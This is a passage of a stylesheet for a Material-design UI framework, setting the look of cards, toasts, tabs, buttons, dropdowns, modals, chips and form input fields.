    transition: box-shadow .25s;
    transition: box-shadow .25s, -webkit-box-shadow .25s;
    padding: 24px;
    margin: .5rem 0 1rem;
    border-radius: 2px;
    background-color: #fff
}

.card {
    position: relative;
    margin: .5rem 0 1rem;
    background-color: #fff;
    transition: -webkit-box-shadow .25s;
    transition: box-shadow .25s;
    transition: box-shadow .25s, -webkit-box-shadow .25s;
    border-radius: 2px
}

.card .card-title {
    font-size: 24px;
    font-weight: 300
}

.card .card-title.activator {
    cursor: pointer
}

.card.small,
.card.medium,
.card.large {
    position: relative
}

.card.small .card-image,
.card.medium .card-image,
.card.large .card-image {
    max-height: 60%;
    overflow: hidden
}

.card.small .card-image+.card-content,
.card.medium .card-image+.card-content,
.card.large .card-image+.card-content {
    max-height: 40%
}

.card.small .card-content,
.card.medium .card-content,
.card.large .card-content {
    max-height: 100%;
    overflow: hidden
}

.card.small .card-action,
.card.medium .card-action,
.card.large .card-action {
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0
}

.card.small {
    height: 300px
}

.card.medium {
    height: 400px
}

.card.large {
    height: 500px
}

.card.horizontal {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex
}

.card.horizontal.small .card-image,
.card.horizontal.medium .card-image,
.card.horizontal.large .card-image {
    height: 100%;
    max-height: none;
    overflow: visible
}

.card.horizontal.small .card-image img,
.card.horizontal.medium .card-image img,
.card.horizontal.large .card-image img {
    height: 100%
}

.card.horizontal .card-image {
    max-width: 50%
}

.card.horizontal .card-image img {
    border-radius: 2px 0 0 2px;
    max-width: 100%;
    width: auto
}

.card.horizontal .card-stacked {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
    -webkit-box-flex: 1;
    -webkit-flex: 1;
    -ms-flex: 1;
    flex: 1;
    position: relative
}

.card.horizontal .card-stacked .card-content {
    -webkit-box-flex: 1;
    -webkit-flex-grow: 1;
    -ms-flex-positive: 1;
    flex-grow: 1
}

.card.sticky-action .card-action {
    z-index: 2
}

.card.sticky-action .card-reveal {
    z-index: 1;
    padding-bottom: 64px
}

.card .card-image {
    position: relative
}

.card .card-image img {
    display: block;
    border-radius: 2px 2px 0 0;
    position: relative;
    left: 0;
    right: 0;
    top: 0;
    bottom: 0;
    width: 100%
}

.card .card-image .card-title {
    color: #fff;
    position: absolute;
    bottom: 0;
    left: 0;
    max-width: 100%;
    padding: 24px
}

.card .card-content {
    padding: 24px;
    border-radius: 0 0 2px 2px
}

.card .card-content p {
    margin: 0
}

.card .card-content .card-title {
    display: block;
    line-height: 32px;
    margin-bottom: 8px
}

.card .card-content .card-title i {
    line-height: 32px
}

.card .card-action {
    background-color: inherit;
    border-top: 1px solid rgba(160, 160, 160, 0.2);
    position: relative;
    padding: 16px 24px
}

.card .card-action:last-child {
    border-radius: 0 0 2px 2px
}

.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating) {
    color: #ffab40;
    margin-right: 24px;
    transition: color .3s ease;
    text-transform: uppercase
}

.card .card-action a:not(.btn):not(.btn-large):not(.btn-small):not(.btn-large):not(.btn-floating):hover {
    color: #ffd8a6
}

.card .card-reveal {
    padding: 24px;
    position: absolute;
    background-color: #fff;
    width: 100%;
    overflow-y: auto;
    left: 0;
    top: 100%;
    height: 100%;
    z-index: 3;
    display: none
}

.card .card-reveal .card-title {
    cursor: pointer;
    display: block
}

#toast-container {
    display: block;
    position: fixed;
    z-index: 10000
}

@media only screen and (max-width: 600px) {
    #toast-container {
        min-width: 100%;
        bottom: 0
    }
}

@media only screen and (min-width: 601px) and (max-width: 992px) {
    #toast-container {
        left: 5%;
        bottom: 7%;
        max-width: 90%
    }
}

@media only screen and (min-width: 993px) {
    #toast-container {
        top: 10%;
        right: 7%;
        max-width: 86%
    }
}

.toast {
    border-radius: 2px;
    top: 35px;
    width: auto;
    margin-top: 10px;
    position: relative;
    max-width: 100%;
    height: auto;
    min-height: 48px;
    line-height: 1.5em;
    background-color: #323232;
    padding: 10px 25px;
    font-size: 1.1rem;
    font-weight: 300;
    color: #fff;
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
    -webkit-align-items: center;
    -ms-flex-align: center;
    align-items: center;
    -webkit-box-pack: justify;
    -webkit-justify-content: space-between;
    -ms-flex-pack: justify;
    justify-content: space-between;
    cursor: default
}

.toast .toast-action {
    color: #eeff41;
    font-weight: 500;
    margin-right: -25px;
    margin-left: 3rem
}

.toast.rounded {
    border-radius: 24px
}

@media only screen and (max-width: 600px) {
    .toast {
        width: 100%;
        border-radius: 0
    }
}

.tabs {
    position: relative;
    overflow-x: auto;
    overflow-y: hidden;
    height: 48px;
    width: 100%;
    background-color: #fff;
    margin: 0 auto;
    white-space: nowrap
}

.tabs.tabs-transparent {
    background-color: transparent
}

.tabs.tabs-transparent .tab a,
.tabs.tabs-transparent .tab.disabled a,
.tabs.tabs-transparent .tab.disabled a:hover {
    color: rgba(255, 255, 255, 0.7)
}

.tabs.tabs-transparent .tab a:hover,
.tabs.tabs-transparent .tab a.active {
    color: #fff
}

.tabs.tabs-transparent .indicator {
    background-color: #fff
}

.tabs.tabs-fixed-width {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex
}

.tabs.tabs-fixed-width .tab {
    -webkit-box-flex: 1;
    -webkit-flex-grow: 1;
    -ms-flex-positive: 1;
    flex-grow: 1
}

.tabs .tab {
    display: inline-block;
    text-align: center;
    line-height: 48px;
    height: 48px;
    padding: 0;
    margin: 0;
    text-transform: uppercase
}

.tabs .tab a {
    color: rgba(238, 110, 115, 0.7);
    display: block;
    width: 100%;
    height: 100%;
    padding: 0 24px;
    font-size: 14px;
    text-overflow: ellipsis;
    overflow: hidden;
    transition: color .28s ease, background-color .28s ease
}

.tabs .tab a:focus,
.tabs .tab a:focus.active {
    background-color: rgba(246, 178, 181, 0.2);
    outline: none
}

.tabs .tab a:hover,
.tabs .tab a.active {
    background-color: transparent;
    color: #ee6e73
}

.tabs .tab.disabled a,
.tabs .tab.disabled a:hover {
    color: rgba(238, 110, 115, 0.4);
    cursor: default
}

.tabs .indicator {
    position: absolute;
    bottom: 0;
    height: 2px;
    background-color: #f6b2b5;
    will-change: left, right
}

@media only screen and (max-width: 992px) {
    .tabs {
        display: -webkit-box;
        display: -webkit-flex;
        display: -ms-flexbox;
        display: flex
    }

    .tabs .tab {
        -webkit-box-flex: 1;
        -webkit-flex-grow: 1;
        -ms-flex-positive: 1;
        flex-grow: 1
    }

    .tabs .tab a {
        padding: 0 12px
    }
}

.material-tooltip {
    padding: 10px 8px;
    font-size: 1rem;
    z-index: 2000;
    background-color: transparent;
    border-radius: 2px;
    color: #fff;
    min-height: 36px;
    line-height: 120%;
    opacity: 0;
    position: absolute;
    text-align: center;
    max-width: calc(100% - 4px);
    overflow: hidden;
    left: 0;
    top: 0;
    pointer-events: none;
    visibility: hidden;
    background-color: #323232
}

.backdrop {
    position: absolute;
    opacity: 0;
    height: 7px;
    width: 14px;
    border-radius: 0 0 50% 50%;
    background-color: #323232;
    z-index: -1;
    -webkit-transform-origin: 50% 0;
    transform-origin: 50% 0;
    visibility: hidden
}

.btn,
.btn-large,
.btn-small,
.btn-flat {
    border: none;
    border-radius: 2px;
    display: inline-block;
    height: 36px;
    line-height: 36px;
    padding: 0 16px;
    text-transform: uppercase;
    vertical-align: middle;
    -webkit-tap-highlight-color: transparent
}

.btn.disabled,
.disabled.btn-large,
.disabled.btn-small,
.btn-floating.disabled,
.btn-large.disabled,
.btn-small.disabled,
.btn-flat.disabled,
.btn:disabled,
.btn-large:disabled,
.btn-small:disabled,
.btn-floating:disabled,
.btn-large:disabled,
.btn-small:disabled,
.btn-flat:disabled,
.btn[disabled],
.btn-large[disabled],
.btn-small[disabled],
.btn-floating[disabled],
.btn-large[disabled],
.btn-small[disabled],
.btn-flat[disabled] {
    pointer-events: none;
    background-color: #DFDFDF !important;
    -webkit-box-shadow: none;
    box-shadow: none;
    color: #9F9F9F !important;
    cursor: default
}

.btn.disabled:hover,
.disabled.btn-large:hover,
.disabled.btn-small:hover,
.btn-floating.disabled:hover,
.btn-large.disabled:hover,
.btn-small.disabled:hover,
.btn-flat.disabled:hover,
.btn:disabled:hover,
.btn-large:disabled:hover,
.btn-small:disabled:hover,
.btn-floating:disabled:hover,
.btn-large:disabled:hover,
.btn-small:disabled:hover,
.btn-flat:disabled:hover,
.btn[disabled]:hover,
.btn-large[disabled]:hover,
.btn-small[disabled]:hover,
.btn-floating[disabled]:hover,
.btn-large[disabled]:hover,
.btn-small[disabled]:hover,
.btn-flat[disabled]:hover {
    background-color: #DFDFDF !important;
    color: #9F9F9F !important
}

.btn,
.btn-large,
.btn-small,
.btn-floating,
.btn-large,
.btn-small,
.btn-flat {
    font-size: 14px;
    outline: 0
}

.btn i,
.btn-large i,
.btn-small i,
.btn-floating i,
.btn-large i,
.btn-small i,
.btn-flat i {
    font-size: 1.3rem;
    line-height: inherit
}

.btn:focus,
.btn-large:focus,
.btn-small:focus,
.btn-floating:focus {
    background-color: #1d7d74
}

.btn,
.btn-large,
.btn-small {
    text-decoration: none;
    color: #fff;
    background-color: #26a69a;
    text-align: center;
    letter-spacing: .5px;
    transition: background-color .2s ease-out;
    cursor: pointer
}

.btn:hover,
.btn-large:hover,
.btn-small:hover {
    background-color: #2bbbad
}

.btn-floating {
    display: inline-block;
    color: #fff;
    position: relative;
    overflow: hidden;
    z-index: 1;
    width: 40px;
    height: 40px;
    line-height: 40px;
    padding: 0;
    background-color: #26a69a;
    border-radius: 50%;
    transition: background-color .3s;
    cursor: pointer;
    vertical-align: middle
}

.btn-floating:hover {
    background-color: #26a69a
}

.btn-floating:before {
    border-radius: 0
}

.btn-floating.btn-large {
    width: 56px;
    height: 56px;
    padding: 0
}

.btn-floating.btn-large.halfway-fab {
    bottom: -28px
}

.btn-floating.btn-large i {
    line-height: 56px
}

.btn-floating.btn-small {
    width: 32.4px;
    height: 32.4px
}

.btn-floating.btn-small.halfway-fab {
    bottom: -16.2px
}

.btn-floating.btn-small i {
    line-height: 32.4px
}

.btn-floating.halfway-fab {
    position: absolute;
    right: 24px;
    bottom: -20px
}

.btn-floating.halfway-fab.left {
    right: auto;
    left: 24px
}

.btn-floating i {
    width: inherit;
    display: inline-block;
    text-align: center;
    color: #fff;
    font-size: 1.6rem;
    line-height: 40px
}

button.btn-floating {
    border: none
}

.fixed-action-btn {
    position: fixed;
    right: 23px;
    bottom: 23px;
    padding-top: 15px;
    margin-bottom: 0;
    z-index: 997
}

.fixed-action-btn.active ul {
    visibility: visible
}

.fixed-action-btn.direction-left,
.fixed-action-btn.direction-right {
    padding: 0 0 0 15px
}

.fixed-action-btn.direction-left ul,
.fixed-action-btn.direction-right ul {
    text-align: right;
    right: 64px;
    top: 50%;
    -webkit-transform: translateY(-50%);
    transform: translateY(-50%);
    height: 100%;
    left: auto;
    width: 500px
}

.fixed-action-btn.direction-left ul li,
.fixed-action-btn.direction-right ul li {
    display: inline-block;
    margin: 7.5px 15px 0 0
}

.fixed-action-btn.direction-right {
    padding: 0 15px 0 0
}

.fixed-action-btn.direction-right ul {
    text-align: left;
    direction: rtl;
    left: 64px;
    right: auto
}

.fixed-action-btn.direction-right ul li {
    margin: 7.5px 0 0 15px
}

.fixed-action-btn.direction-bottom {
    padding: 0 0 15px
}

.fixed-action-btn.direction-bottom ul {
    top: 64px;
    bottom: auto;
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-orient: vertical;
    -webkit-box-direction: reverse;
    -webkit-flex-direction: column-reverse;
    -ms-flex-direction: column-reverse;
    flex-direction: column-reverse
}

.fixed-action-btn.direction-bottom ul li {
    margin: 15px 0 0
}

.fixed-action-btn.toolbar {
    padding: 0;
    height: 56px
}

.fixed-action-btn.toolbar.active>a i {
    opacity: 0
}

.fixed-action-btn.toolbar ul {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    top: 0;
    bottom: 0;
    z-index: 1
}

.fixed-action-btn.toolbar ul li {
    -webkit-box-flex: 1;
    -webkit-flex: 1;
    -ms-flex: 1;
    flex: 1;
    display: inline-block;
    margin: 0;
    height: 100%;
    transition: none
}

.fixed-action-btn.toolbar ul li a {
    display: block;
    overflow: hidden;
    position: relative;
    width: 100%;
    height: 100%;
    background-color: transparent;
    -webkit-box-shadow: none;
    box-shadow: none;
    color: #fff;
    line-height: 56px;
    z-index: 1
}

.fixed-action-btn.toolbar ul li a i {
    line-height: inherit
}

.fixed-action-btn ul {
    left: 0;
    right: 0;
    text-align: center;
    position: absolute;
    bottom: 64px;
    margin: 0;
    visibility: hidden
}

.fixed-action-btn ul li {
    margin-bottom: 15px
}

.fixed-action-btn ul a.btn-floating {
    opacity: 0
}

.fixed-action-btn .fab-backdrop {
    position: absolute;
    top: 0;
    left: 0;
    z-index: -1;
    width: 40px;
    height: 40px;
    background-color: #26a69a;
    border-radius: 50%;
    -webkit-transform: scale(0);
    transform: scale(0)
}

.btn-flat {
    -webkit-box-shadow: none;
    box-shadow: none;
    background-color: transparent;
    color: #343434;
    cursor: pointer;
    transition: background-color .2s
}

.btn-flat:focus,
.btn-flat:hover {
    -webkit-box-shadow: none;
    box-shadow: none
}

.btn-flat:focus {
    background-color: rgba(0, 0, 0, 0.1)
}

.btn-flat.disabled,
.btn-flat.btn-flat[disabled] {
    background-color: transparent !important;
    color: #b3b2b2 !important;
    cursor: default
}

.btn-large {
    height: 54px;
    line-height: 54px;
    font-size: 15px;
    padding: 0 28px
}

.btn-large i {
    font-size: 1.6rem
}

.btn-small {
    height: 32.4px;
    line-height: 32.4px;
    font-size: 13px
}

.btn-small i {
    font-size: 1.2rem
}

.btn-block {
    display: block
}

.dropdown-content {
    background-color: #fff;
    margin: 0;
    display: none;
    min-width: 100px;
    overflow-y: auto;
    opacity: 0;
    position: absolute;
    left: 0;
    top: 0;
    z-index: 9999;
    -webkit-transform-origin: 0 0;
    transform-origin: 0 0
}

.dropdown-content:focus {
    outline: 0
}

.dropdown-content li {
    clear: both;
    color: rgba(0, 0, 0, 0.87);
    cursor: pointer;
    min-height: 50px;
    line-height: 1.5rem;
    width: 100%;
    text-align: left
}

.dropdown-content li:hover,
.dropdown-content li.active {
    background-color: #eee
}

.dropdown-content li:focus {
    outline: none
}

.dropdown-content li.divider {
    min-height: 0;
    height: 1px
}

.dropdown-content li>a,
.dropdown-content li>span {
    font-size: 16px;
    color: #26a69a;
    display: block;
    line-height: 22px;
    padding: 14px 16px
}

.dropdown-content li>span>label {
    top: 1px;
    left: 0;
    height: 18px
}

.dropdown-content li>a>i {
    height: inherit;
    line-height: inherit;
    float: left;
    margin: 0 24px 0 0;
    width: 24px
}

body.keyboard-focused .dropdown-content li:focus {
    background-color: #dadada
}

.input-field.col .dropdown-content [type="checkbox"]+label {
    top: 1px;
    left: 0;
    height: 18px;
    -webkit-transform: none;
    transform: none
}

.dropdown-trigger {
    cursor: pointer
}

.waves-effect {
    position: relative;
    cursor: pointer;
    display: inline-block;
    overflow: hidden;
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none;
    -webkit-tap-highlight-color: transparent;
    vertical-align: middle;
    z-index: 1;
    transition: .3s ease-out
}

.waves-effect .waves-ripple {
    position: absolute;
    border-radius: 50%;
    width: 20px;
    height: 20px;
    margin-top: -10px;
    margin-left: -10px;
    opacity: 0;
    background: rgba(0, 0, 0, 0.2);
    transition: all .7s ease-out;
    transition-property: opacity, -webkit-transform;
    transition-property: transform, opacity;
    transition-property: transform, opacity, -webkit-transform;
    -webkit-transform: scale(0);
    transform: scale(0);
    pointer-events: none
}

.waves-effect.waves-light .waves-ripple {
    background-color: rgba(255, 255, 255, 0.45)
}

.waves-effect.waves-red .waves-ripple {
    background-color: rgba(244, 67, 54, 0.7)
}

.waves-effect.waves-yellow .waves-ripple {
    background-color: rgba(255, 235, 59, 0.7)
}

.waves-effect.waves-orange .waves-ripple {
    background-color: rgba(255, 152, 0, 0.7)
}

.waves-effect.waves-purple .waves-ripple {
    background-color: rgba(156, 39, 176, 0.7)
}

.waves-effect.waves-green .waves-ripple {
    background-color: rgba(76, 175, 80, 0.7)
}

.waves-effect.waves-teal .waves-ripple {
    background-color: rgba(0, 150, 136, 0.7)
}

.waves-effect input[type="button"],
.waves-effect input[type="reset"],
.waves-effect input[type="submit"] {
    border: 0;
    font-style: normal;
    font-size: inherit;
    text-transform: inherit;
    background: none
}

.waves-effect img {
    position: relative;
    z-index: -1
}

.waves-notransition {
    transition: none !important
}

.waves-circle {
    -webkit-transform: translateZ(0);
    transform: translateZ(0);
    -webkit-mask-image: -webkit-radial-gradient(circle, white 100%, black 100%)
}

.waves-input-wrapper {
    border-radius: .2em;
    vertical-align: bottom
}

.waves-input-wrapper .waves-button-input {
    position: relative;
    top: 0;
    left: 0;
    z-index: 1
}

.waves-circle {
    text-align: center;
    width: 2.5em;
    height: 2.5em;
    line-height: 2.5em;
    border-radius: 50%;
    -webkit-mask-image: none
}

.waves-block {
    display: block
}

.waves-effect .waves-ripple {
    z-index: -1
}

.modal {
    display: none;
    position: fixed;
    left: 0;
    right: 0;
    background-color: #fafafa;
    padding: 0;
    max-height: 70%;
    width: 55%;
    margin: auto;
    overflow-y: auto;
    border-radius: 2px;
    will-change: top, opacity
}

.modal:focus {
    outline: none
}

@media only screen and (max-width: 992px) {
    .modal {
        width: 80%
    }
}

.modal h1,
.modal h2,
.modal h3,
.modal h4 {
    margin-top: 0
}

.modal .modal-content {
    padding: 24px
}

.modal .modal-close {
    cursor: pointer
}

.modal .modal-footer {
    border-radius: 0 0 2px 2px;
    background-color: #fafafa;
    padding: 4px 6px;
    height: 56px;
    width: 100%;
    text-align: right
}

.modal .modal-footer .btn,
.modal .modal-footer .btn-large,
.modal .modal-footer .btn-small,
.modal .modal-footer .btn-flat {
    margin: 6px 0
}

.modal-overlay {
    position: fixed;
    z-index: 999;
    top: -25%;
    left: 0;
    bottom: 0;
    right: 0;
    height: 125%;
    width: 100%;
    background: #000;
    display: none;
    will-change: opacity
}

.modal.modal-fixed-footer {
    padding: 0;
    height: 70%
}

.modal.modal-fixed-footer .modal-content {
    position: absolute;
    height: calc(100% - 56px);
    max-height: 100%;
    width: 100%;
    overflow-y: auto
}

.modal.modal-fixed-footer .modal-footer {
    border-top: 1px solid rgba(0, 0, 0, 0.1);
    position: absolute;
    bottom: 0
}

.modal.bottom-sheet {
    top: auto;
    bottom: -100%;
    margin: 0;
    width: 100%;
    max-height: 45%;
    border-radius: 0;
    will-change: bottom, opacity
}

.collapsible {
    border-top: 1px solid #ddd;
    border-right: 1px solid #ddd;
    border-left: 1px solid #ddd;
    margin: .5rem 0 1rem
}

.collapsible-header {
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    cursor: pointer;
    -webkit-tap-highlight-color: transparent;
    line-height: 1.5;
    padding: 1rem;
    background-color: #fff;
    border-bottom: 1px solid #ddd
}

.collapsible-header:focus {
    outline: 0
}

.collapsible-header i {
    width: 2rem;
    font-size: 1.6rem;
    display: inline-block;
    text-align: center;
    margin-right: 1rem
}

.keyboard-focused .collapsible-header:focus {
    background-color: #eee
}

.collapsible-body {
    display: none;
    border-bottom: 1px solid #ddd;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    padding: 2rem
}

.sidenav .collapsible,
.sidenav.fixed .collapsible {
    border: none;
    -webkit-box-shadow: none;
    box-shadow: none
}

.sidenav .collapsible li,
.sidenav.fixed .collapsible li {
    padding: 0
}

.sidenav .collapsible-header,
.sidenav.fixed .collapsible-header {
    background-color: transparent;
    border: none;
    line-height: inherit;
    height: inherit;
    padding: 0 16px
}

.sidenav .collapsible-header:hover,
.sidenav.fixed .collapsible-header:hover {
    background-color: rgba(0, 0, 0, 0.05)
}

.sidenav .collapsible-header i,
.sidenav.fixed .collapsible-header i {
    line-height: inherit
}

.sidenav .collapsible-body,
.sidenav.fixed .collapsible-body {
    border: 0;
    background-color: #fff
}

.sidenav .collapsible-body li a,
.sidenav.fixed .collapsible-body li a {
    padding: 0 23.5px 0 31px
}

.collapsible.popout {
    border: none;
    -webkit-box-shadow: none;
    box-shadow: none
}

.collapsible.popout>li {
    -webkit-box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12);
    box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12);
    margin: 0 24px;
    transition: margin .35s cubic-bezier(0.25, 0.46, 0.45, 0.94)
}

.collapsible.popout>li.active {
    -webkit-box-shadow: 0 5px 11px 0 rgba(0, 0, 0, 0.18), 0 4px 15px 0 rgba(0, 0, 0, 0.15);
    box-shadow: 0 5px 11px 0 rgba(0, 0, 0, 0.18), 0 4px 15px 0 rgba(0, 0, 0, 0.15);
    margin: 16px 0
}

.chip {
    display: inline-block;
    height: 32px;
    font-size: 13px;
    font-weight: 500;
    color: rgba(0, 0, 0, 0.6);
    line-height: 32px;
    padding: 0 12px;
    border-radius: 16px;
    background-color: #e4e4e4;
    margin-bottom: 5px;
    margin-right: 5px
}

.chip:focus {
    outline: none;
    background-color: #26a69a;
    color: #fff
}

.chip>img {
    float: left;
    margin: 0 8px 0 -12px;
    height: 32px;
    width: 32px;
    border-radius: 50%
}

.chip .close {
    cursor: pointer;
    float: right;
    font-size: 16px;
    line-height: 32px;
    padding-left: 8px
}

.chips {
    border: none;
    border-bottom: 1px solid #9e9e9e;
    -webkit-box-shadow: none;
    box-shadow: none;
    margin: 0 0 8px;
    min-height: 45px;
    outline: none;
    transition: all .3s
}

.chips.focus {
    border-bottom: 1px solid #26a69a;
    -webkit-box-shadow: 0 1px 0 0 #26a69a;
    box-shadow: 0 1px 0 0 #26a69a
}

.chips:hover {
    cursor: text
}

.chips .input {
    background: none;
    border: 0;
    color: rgba(0, 0, 0, 0.6);
    display: inline-block;
    font-size: 16px;
    height: 3rem;
    line-height: 32px;
    outline: 0;
    margin: 0;
    padding: 0 !important;
    width: 120px !important
}

.chips .input:focus {
    border: 0 !important;
    box-shadow: none !important
}

.chips .autocomplete-content {
    margin-top: 0;
    margin-bottom: 0
}

.prefix~.chips {
    margin-left: 3rem;
    width: 92%;
    width: calc(100% - 3rem)
}

.chips:empty~label {
    font-size: .8rem;
    -webkit-transform: translateY(-140%);
    transform: translateY(-140%)
}

.materialboxed {
    display: block;
    cursor: -webkit-zoom-in;
    cursor: zoom-in;
    position: relative;
    transition: opacity .4s;
    -webkit-backface-visibility: hidden
}

.materialboxed:hover:not(.active) {
    opacity: .8
}

.materialboxed.active {
    cursor: -webkit-zoom-out;
    cursor: zoom-out
}

#materialbox-overlay {
    position: fixed;
    top: 0;
    right: 0;
    bottom: 0;
    left: 0;
    background-color: #292929;
    z-index: 1000;
    will-change: opacity
}

.materialbox-caption {
    position: fixed;
    display: none;
    color: #fff;
    line-height: 50px;
    bottom: 0;
    left: 0;
    width: 100%;
    text-align: center;
    padding: 0 15%;
    height: 50px;
    z-index: 1000;
    -webkit-font-smoothing: antialiased
}

select:focus {
    outline: 1px solid #c9f3ef
}

button:focus {
    outline: none;
    background-color: #2ab7a9
}

label {
    font-size: .8rem;
    color: #9e9e9e
}

::-webkit-input-placeholder {
    color: #d1d1d1
}

::-moz-placeholder {
    color: #d1d1d1
}

:-ms-input-placeholder {
    color: #d1d1d1
}

::-ms-input-placeholder {
    color: #d1d1d1
}

::placeholder {
    color: #d1d1d1
}

input:not([type]),
input[type=text]:not(.browser-default),
input[type=password]:not(.browser-default),
input[type=email]:not(.browser-default),
input[type=url]:not(.browser-default),
input[type=time]:not(.browser-default),
input[type=date]:not(.browser-default),
input[type=datetime]:not(.browser-default),
input[type=datetime-local]:not(.browser-default),
input[type=tel]:not(.browser-default),
input[type=number]:not(.browser-default),
input[type=search]:not(.browser-default),
textarea.materialize-textarea {
    background-color: transparent;
    border: none;
    border-bottom: 1px solid #9e9e9e;
    border-radius: 0;
    outline: none;
    height: 3rem;
    width: 100%;
    font-size: 16px;
    margin: 0 0 8px;
    padding: 0;
    box-shadow: none;
    -webkit-box-sizing: content-box;
    box-sizing: content-box;
    transition: border .3s, -webkit-box-shadow .3s;
    transition: box-shadow .3s, border .3s;
    transition: box-shadow .3s, border .3s, -webkit-box-shadow .3s
}

input:not([type]):disabled,
input:not([type])[readonly="readonly"],
input[type=text]:not(.browser-default):disabled,
input[type=text]:not(.browser-default)[readonly="readonly"],
input[type=password]:not(.browser-default):disabled,
input[type=password]:not(.browser-default)[readonly="readonly"],
input[type=email]:not(.browser-default):disabled,
input[type=email]:not(.browser-default)[readonly="readonly"],
input[type=url]:not(.browser-default):disabled,
input[type=url]:not(.browser-default)[readonly="readonly"],
input[type=time]:not(.browser-default):disabled,
input[type=time]:not(.browser-default)[readonly="readonly"],
input[type=date]:not(.browser-default):disabled,
input[type=date]:not(.browser-default)[readonly="readonly"],
input[type=datetime]:not(.browser-default):disabled,
input[type=datetime]:not(.browser-default)[readonly="readonly"],
input[type=datetime-local]:not(.browser-default):disabled,
input[type=datetime-local]:not(.browser-default)[readonly="readonly"],
input[type=tel]:not(.browser-default):disabled,
input[type=tel]:not(.browser-default)[readonly="readonly"],
input[type=number]:not(.browser-default):disabled,
input[type=number]:not(.browser-default)[readonly="readonly"],
input[type=search]:not(.browser-default):disabled,
input[type=search]:not(.browser-default)[readonly="readonly"],
textarea.materialize-textarea:disabled,
textarea.materialize-textarea[readonly="readonly"] {
    color: rgba(0, 0, 0, 0.42);
    border-bottom: 1px dotted rgba(0, 0, 0, 0.42)
}

input:not([type]):disabled+label,
input:not([type])[readonly="readonly"]+label,
input[type=text]:not(.browser-default):disabled+label,
input[type=text]:not(.browser-default)[readonly="readonly"]+label,
input[type=password]:not(.browser-default):disabled+label,
input[type=password]:not(.browser-default)[readonly="readonly"]+label,
input[type=email]:not(.browser-default):disabled+label,
input[type=email]:not(.browser-default)[readonly="readonly"]+label,
input[type=url]:not(.browser-default):disabled+label,
input[type=url]:not(.browser-default)[readonly="readonly"]+label,
input[type=time]:not(.browser-default):disabled+label,
input[type=time]:not(.browser-default)[readonly="readonly"]+label,
input[type=date]:not(.browser-default):disabled+label,
input[type=date]:not(.browser-default)[readonly="readonly"]+label,
input[type=datetime]:not(.browser-default):disabled+label,
input[type=datetime]:not(.browser-default)[readonly="readonly"]+label,
input[type=datetime-local]:not(.browser-default):disabled+label,
input[type=datetime-local]:not(.browser-default)[readonly="readonly"]+label,
input[type=tel]:not(.browser-default):disabled+label,
input[type=tel]:not(.browser-default)[readonly="readonly"]+label,
input[type=number]:not(.browser-default):disabled+label,
input[type=number]:not(.browser-default)[readonly="readonly"]+label,
input[type=search]:not(.browser-default):disabled+label,
input[type=search]:not(.browser-default)[readonly="readonly"]+label,
textarea.materialize-textarea:disabled+label,
textarea.materialize-textarea[readonly="readonly"]+label {
    color: rgba(0, 0, 0, 0.42)
}

input:not([type]):focus:not([readonly]),
input[type=text]:not(.browser-default):focus:not([readonly]),
input[type=password]:not(.browser-default):focus:not([readonly]),
input[type=email]:not(.browser-default):focus:not([readonly]),
input[type=url]:not(.browser-default):focus:not([readonly]),
input[type=time]:not(.browser-default):focus:not([readonly]),
input[type=date]:not(.browser-default):focus:not([readonly]),
input[type=datetime]:not(.browser-default):focus:not([readonly]),
input[type=datetime-local]:not(.browser-default):focus:not([readonly]),
input[type=tel]:not(.browser-default):focus:not([readonly]),
input[type=number]:not(.browser-default):focus:not([readonly]),
input[type=search]:not(.browser-default):focus:not([readonly]),
textarea.materialize-textarea:focus:not([readonly]) {
    border-bottom: 1px solid #26a69a;
    box-shadow: 0 1px 0 0 #26a69a
}

input:not([type]):focus:not([readonly])+label,
input[type=text]:not(.browser-default):focus:not([readonly])+label,
input[type=password]:not(.browser-default):focus:not([readonly])+label,
input[type=email]:not(.browser-default):focus:not([readonly])+label,
input[type=url]:not(.browser-default):focus:not([readonly])+label,
input[type=time]:not(.browser-default):focus:not([readonly])+label,
input[type=date]:not(.browser-default):focus:not([readonly])+label,
input[type=datetime]:not(.browser-default):focus:not([readonly])+label,
input[type=datetime-local]:not(.browser-default):focus:not([readonly])+label,
input[type=tel]:not(.browser-default):focus:not([readonly])+label,
input[type=number]:not(.browser-default):focus:not([readonly])+label,
input[type=search]:not(.browser-default):focus:not([readonly])+label,
textarea.materialize-textarea:focus:not([readonly])+label {
    color: #26a69a
}

input:not([type]):focus.valid~label,
input[type=text]:not(.browser-default):focus.valid~label,
input[type=password]:not(.browser-default):focus.valid~label,
input[type=email]:not(.browser-default):focus.valid~label,
input[type=url]:not(.browser-default):focus.valid~label,
input[type=time]:not(.browser-default):focus.valid~label,
input[type=date]:not(.browser-default):focus.valid~label,
input[type=datetime]:not(.browser-default):focus.valid~label,
input[type=datetime-local]:not(.browser-default):focus.valid~label,
input[type=tel]:not(.browser-default):focus.valid~label,
input[type=number]:not(.browser-default):focus.valid~label,
input[type=search]:not(.browser-default):focus.valid~label,
textarea.materialize-textarea:focus.valid~label {
    color: #4CAF50
}

input:not([type]):focus.invalid~label,
input[type=text]:not(.browser-default):focus.invalid~label,
input[type=password]:not(.browser-default):focus.invalid~label,
input[type=email]:not(.browser-default):focus.invalid~label,
input[type=url]:not(.browser-default):focus.invalid~label,
input[type=time]:not(.browser-default):focus.invalid~label,
input[type=date]:not(.browser-default):focus.invalid~label,
input[type=datetime]:not(.browser-default):focus.invalid~label,
